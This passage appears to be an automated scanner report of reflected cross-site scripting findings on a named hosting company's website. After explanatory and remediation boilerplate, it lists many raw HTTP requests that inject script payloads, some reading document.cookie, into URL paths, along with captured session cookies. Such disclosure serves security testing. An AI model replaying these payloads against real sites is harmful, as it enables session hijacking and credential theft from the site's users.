Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3792"><script>alert(1)</script>9ef695e38b3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about-us.phpe3792"><script>alert(1)</script>9ef695e38b3 HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmb=1.3.10.1300975417; PHPSESSID=ee4835ab8f95193a9a61d4f041b0a0fb
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4efb0"><script>alert(1)</script>fcdf5f148d0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact.php4efb0"><script>alert(1)</script>fcdf5f148d0 HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmb=1.3.10.1300975417
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 593a2"><script>alert(1)</script>bf04f02806a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /favicon.ico593a2"><script>alert(1)</script>bf04f02806a HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmb=1.1.10.1300975417
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf890"><script>alert(1)</script>baf4d3af8aa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includesbf890"><script>alert(1)</script>baf4d3af8aa/form-processing/captcha/cryptographp.inc.php?cfg=gray.cfg.php&sn=PHPSESSID& HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/favicon.ico593a2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebf04f02806a User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cryptcookietest=1; __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.8.10.1300975417
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e181f"><script>alert(1)</script>f79bab585e4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/form-processinge181f"><script>alert(1)</script>f79bab585e4/captcha/cryptographp.inc.php?cfg=gray.cfg.php&sn=PHPSESSID& HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/favicon.ico593a2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebf04f02806a User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cryptcookietest=1; __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.8.10.1300975417
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6915"><script>alert(1)</script>b2c3ed902f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/form-processing/captchab6915"><script>alert(1)</script>b2c3ed902f/cryptographp.inc.php?cfg=gray.cfg.php&sn=PHPSESSID& HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/favicon.ico593a2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebf04f02806a User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cryptcookietest=1; __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.8.10.1300975417
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7624"><script>alert(1)</script>c2e26266ab5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/form-processing/captcha/cryptographp.inc.phpf7624"><script>alert(1)</script>c2e26266ab5?cfg=gray.cfg.php&sn=PHPSESSID& HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/favicon.ico593a2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebf04f02806a User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cryptcookietest=1; __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.8.10.1300975417
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 131ec"><script>alert(1)</script>9921255a69d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes131ec"><script>alert(1)</script>9921255a69d/form-processing/captcha/cryptographp.php?cfg=gray.cfg.php&PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7 HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/favicon.ico593a2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebf04f02806a User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.7.10.1300975417; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8bc79"><script>alert(1)</script>4445e072216 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/form-processing8bc79"><script>alert(1)</script>4445e072216/captcha/cryptographp.php?cfg=gray.cfg.php&PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7 HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/favicon.ico593a2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebf04f02806a User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.7.10.1300975417; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed96c"><script>alert(1)</script>942a5134e6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/form-processing/captchaed96c"><script>alert(1)</script>942a5134e6/cryptographp.php?cfg=gray.cfg.php&PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7 HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/favicon.ico593a2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebf04f02806a User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.7.10.1300975417; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aee2e"><script>alert(1)</script>1bb073a529e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/form-processing/captcha/cryptographp.phpaee2e"><script>alert(1)</script>1bb073a529e?cfg=gray.cfg.php&PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7 HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/favicon.ico593a2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebf04f02806a User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.7.10.1300975417; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bec53"><script>alert(1)</script>9741c146e60 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /supportbec53"><script>alert(1)</script>9741c146e60/ HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.8.10.1300975417
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 535ef"><script>alert(1)</script>c68be61ccac was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support535ef"><script>alert(1)</script>c68be61ccac/q466/Webalizer-hasnt-updated-in-a-few-days-Why-not/ HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/support/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __unam=944964-12ee82f56a3-5e2cbb11-3; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.13.10.1300975417
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c53f5"><script>alert(1)</script>72bc6c25959 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support/q466c53f5"><script>alert(1)</script>72bc6c25959/Webalizer-hasnt-updated-in-a-few-days-Why-not/ HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/support/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __unam=944964-12ee82f56a3-5e2cbb11-3; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.13.10.1300975417
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea844"><script>alert(1)</script>ccf55f924b0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /supportea844"><script>alert(1)</script>ccf55f924b0/q466/images/chat-bubble.png HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/support/q466/Webalizer-hasnt-updated-in-a-few-days-Why-not/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __unam=944964-12ee82f56a3-5e2cbb11-3; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.13.10.1300975417
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb159"><script>alert(1)</script>866789223a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support/q466fb159"><script>alert(1)</script>866789223a/images/chat-bubble.png HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/support/q466/Webalizer-hasnt-updated-in-a-few-days-Why-not/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __unam=944964-12ee82f56a3-5e2cbb11-3; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.13.10.1300975417
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8eca9"><script>alert(1)</script>71ae273e737 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support8eca9"><script>alert(1)</script>71ae273e737/q466/images/print-logo.jpg HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/support/q466/Webalizer-hasnt-updated-in-a-few-days-Why-not/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __unam=944964-12ee82f56a3-5e2cbb11-3; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.13.10.1300975417
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b85bb"><script>alert(1)</script>a72c47eee73 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support/q466b85bb"><script>alert(1)</script>a72c47eee73/images/print-logo.jpg HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/support/q466/Webalizer-hasnt-updated-in-a-few-days-Why-not/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __unam=944964-12ee82f56a3-5e2cbb11-3; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.13.10.1300975417
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60612"><script>alert(1)</script>9201d01156f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support60612"><script>alert(1)</script>9201d01156f/q562/Why-are-my-emails-not-getting-to-hotmailcom-or-yahoocom-customers/ HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __unam=944964-12ee82f56a3-5e2cbb11-3; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.15.10.1300975417
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe00f"><script>alert(1)</script>d40f510d9bc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support/q562fe00f"><script>alert(1)</script>d40f510d9bc/Why-are-my-emails-not-getting-to-hotmailcom-or-yahoocom-customers/ HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __unam=944964-12ee82f56a3-5e2cbb11-3; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.15.10.1300975417
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e482"><script>alert(1)</script>464321db325 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support7e482"><script>alert(1)</script>464321db325/q562/images/chat-bubble.png HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/support/q562/Why-are-my-emails-not-getting-to-hotmailcom-or-yahoocom-customers/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __unam=944964-12ee82f56a3-5e2cbb11-3; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.15.10.1300975417
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f63e0"><script>alert(1)</script>a6e020f3528 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support/q562f63e0"><script>alert(1)</script>a6e020f3528/images/chat-bubble.png HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/support/q562/Why-are-my-emails-not-getting-to-hotmailcom-or-yahoocom-customers/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __unam=944964-12ee82f56a3-5e2cbb11-3; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.15.10.1300975417
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload add43"><script>alert(1)</script>dd67874c323 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
